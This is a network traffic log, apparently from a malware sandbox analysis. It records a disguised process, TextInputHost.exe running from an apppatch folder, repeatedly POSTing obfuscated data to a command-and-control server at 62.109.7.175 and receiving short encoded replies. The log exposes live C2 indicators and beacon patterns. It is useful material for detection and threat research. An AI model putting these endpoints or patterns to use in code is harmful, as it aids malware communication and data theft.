Apr 2, 2024 23:42:59.871561050 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:00.154036999 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:00.161078930 CEST	2552	OUT	Data Raw: 5f 50 58 57 55 40 51 59 5d 5c 52 54 56 56 50 57 59 53 5f 56 52 58 57 5a 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _PXWU@QY]\RTVVPWYS_VRXWZP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$-.*!0!"39\=4:7#((V><,A#;'>9Y /P,$
Apr 2, 2024 23:43:00.449309111 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49775	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:00.847038031 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:01.129390955 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:01.129633904 CEST	2552	OUT	Data Raw: 5f 50 5d 52 55 47 51 50 5d 5c 52 54 56 56 50 5d 59 56 5f 59 52 53 57 5d 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _P]RUGQP]\RTVVP]YV_YRSW]P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'.>"6=!1'#Y);$_-+^58!?-(87+#=9Y /P,$
Apr 2, 2024 23:43:01.418020964 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49776	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:01.814660072 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:02.093149900 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:02.093863010 CEST	2552	OUT	Data Raw: 5a 5c 58 51 55 47 51 58 5d 5c 52 54 56 51 50 51 59 5a 5f 5f 52 5f 57 5f 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z\XQUGQX]\RTVQPQYZ__R_W_P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$9>*"3""!Y3:/X>?:;Y6%< + E )=9Y /P,8
Apr 2, 2024 23:43:02.377970934 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49777	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:01.895498037 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1868 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:02.176259041 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:02.176475048 CEST	1868	OUT	Data Raw: 5a 58 58 51 55 43 54 5d 5d 5c 52 54 56 5c 50 53 59 54 5f 58 52 5b 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: ZXXQUCT]]\RTV\PSYT_XR[WXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'-*"9!!%0_ ?;$.!)09<748<==9Y /P,
Apr 2, 2024 23:43:02.464093924 CEST	380	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 27 50 3f 26 24 00 20 2b 2b 0f 28 22 2e 55 30 34 29 5c 3b 2e 08 03 3f 07 27 5d 2f 28 30 5e 35 38 37 5f 28 1d 0f 59 25 00 02 58 33 1d 2b 59 01 13 25 5b 2b 02 38 14 32 22 09 1d 26 28 2d 05 27 27 2f 43 3e 3b 34 12 27 03 2d 53 3f 33 2c 59 2b 0d 25 1b 2a 2a 2f 5b 38 2c 2e 02 21 34 2a 5e 0c 17 22 1d 2b 39 28 00 26 09 23 04 3e 54 20 02 3f 08 33 02 2a 07 37 12 31 2f 2a 05 3d 01 24 53 26 03 39 57 2b 2e 3a 0c 23 22 2f 12 2b 28 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: 'P?&$ ++(".U04)\;.?']/(0^587_(Y%X3+Y%[+82"&(-''/C>;4'-S?3,Y+%*/[8,.!4^"+9(&#>T ?371/=$S&9W+.:#"/+('] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49778	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:02.784773111 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:03.066620111 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:03.066829920 CEST	2552	OUT	Data Raw: 5f 5b 58 50 55 42 54 5d 5d 5c 52 54 56 50 50 51 59 54 5f 56 52 5e 57 5a 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _[XPUBT]]\RTVPPQYT_VR^WZP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'Y.=-Y #:!10:4=(#:;_!U?V=Y?9' +?)-9Y /P,<
Apr 2, 2024 23:43:03.355294943 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49779	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:03.769397020 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:04.049444914 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:04.049693108 CEST	2544	OUT	Data Raw: 5f 5a 5d 50 50 40 51 5c 5d 5c 52 54 56 55 50 55 59 52 5f 5b 52 5a 57 5b 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Z]PP@Q\]\RTVUPUYR_[RZW[P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'-1!5>&)+])?-#?Y65<"?@ ^$[(=9Y /P,,
Apr 2, 2024 23:43:04.335450888 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49780	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:04.737322092 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:05.018675089 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:05.018866062 CEST	2552	OUT	Data Raw: 5f 5b 58 51 50 43 54 5d 5d 5c 52 54 56 56 50 52 59 51 5f 57 52 5e 57 51 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _[XQPCT]]\RTVVPRYQ_WR^WQP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___':2!3")'_(=8+:/^6;)?%((7(#>9Y /P,$
Apr 2, 2024 23:43:05.306765079 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49781	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:05.901397943 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:06.185658932 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:06.185877085 CEST	2552	OUT	Data Raw: 5f 5f 5d 52 55 42 51 5a 5d 5c 52 54 56 56 50 50 59 54 5f 58 52 58 57 5d 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: __]RUBQZ]\RTVVPPYT_XRXW]P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'Y:5[!3.\!1.3?;<X.0+\!8U(?);#8$]>9Y /P,$
Apr 2, 2024 23:43:06.477550983 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49782	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:07.043893099 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:07.329988956 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:07.358200073 CEST	2552	OUT	Data Raw: 5f 50 58 56 55 40 51 51 5d 5c 52 54 56 52 50 5d 59 56 5f 5a 52 5a 57 5f 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _PXVU@QQ]\RTVRP]YV_ZRZW_P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'.>650&["1"&:3])'-##8)?=+/7(')-9Y /P,
Apr 2, 2024 23:43:07.648463964 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49783	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:07.758233070 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1840 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:08.041047096 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:08.042103052 CEST	1840	OUT	Data Raw: 5f 51 5d 51 55 42 54 5d 5d 5c 52 54 56 50 50 52 59 54 5f 5e 52 5c 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Q]QUBT]]\RTVPPRYT_^R\WXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$9=5^"#!5$*,)4_9#/_!;)) =[(@#;)=9Y /P,<
Apr 2, 2024 23:43:08.331032991 CEST	380	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 27 1c 3f 25 3b 11 23 06 06 50 2b 0f 00 57 25 24 29 5d 2f 00 0f 59 2b 39 0d 5c 2e 02 3c 5a 36 38 0e 05 3f 0a 25 1f 26 10 3f 00 25 37 2b 59 01 13 26 06 28 05 23 0e 26 21 2b 53 25 3b 22 11 30 37 09 42 3d 5d 30 55 33 03 04 0a 28 0d 3f 00 2a 33 29 14 2a 39 33 13 2f 5a 3d 5b 35 0e 2a 5e 0c 17 22 1e 3c 3a 28 00 26 27 3c 11 29 1c 05 59 2b 08 34 59 3d 3a 27 1c 26 3c 3d 1a 2a 3c 37 0f 26 03 21 57 29 2e 32 0c 23 0c 37 56 2b 28 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: '?%;#P+W%$)]/Y+9\.<Z68?%&?%7+Y&(#&!+S%;"07B=]0U3(?3)93/Z=[5^"<:(&'<)Y+4Y=:'&<=<7&!W).2#7V+('] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49784	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:07.892307997 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:08.175632000 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:08.175823927 CEST	2552	OUT	Data Raw: 5f 50 58 51 55 47 51 5d 5d 5c 52 54 56 57 50 56 59 54 5f 5d 52 5e 57 51 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _PXQUGQ]]\RTVWPVYT_]R^WQP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$.5X60&["\37]>88-U 58*Q?3=+4[)9Y /P,
Apr 2, 2024 23:43:08.465116024 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49785	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:08.857729912 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:43:09.135485888 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:09.148458004 CEST	2552	OUT	Data Raw: 5a 5a 5d 52 55 42 51 59 5d 5c 52 54 56 57 50 51 59 52 5f 5f 52 52 57 5f 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: ZZ]RUBQY]\RTVWPQYR__RRW_P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'X:*5!5]']),0+\"+#5+:$E#8==9Y /P,
Apr 2, 2024 23:43:09.432259083 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49786	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:09.828775883 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:10.106983900 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:10.107144117 CEST	2552	OUT	Data Raw: 5f 58 5d 55 55 46 51 5e 5d 5c 52 54 56 53 50 51 59 54 5f 5f 52 58 57 50 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _X]UUFQ^]\RTVSPQYT__RXWPP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'-.)^!0:\!=$,=;4-7^"8"<#:( C ;>9Y /P,0
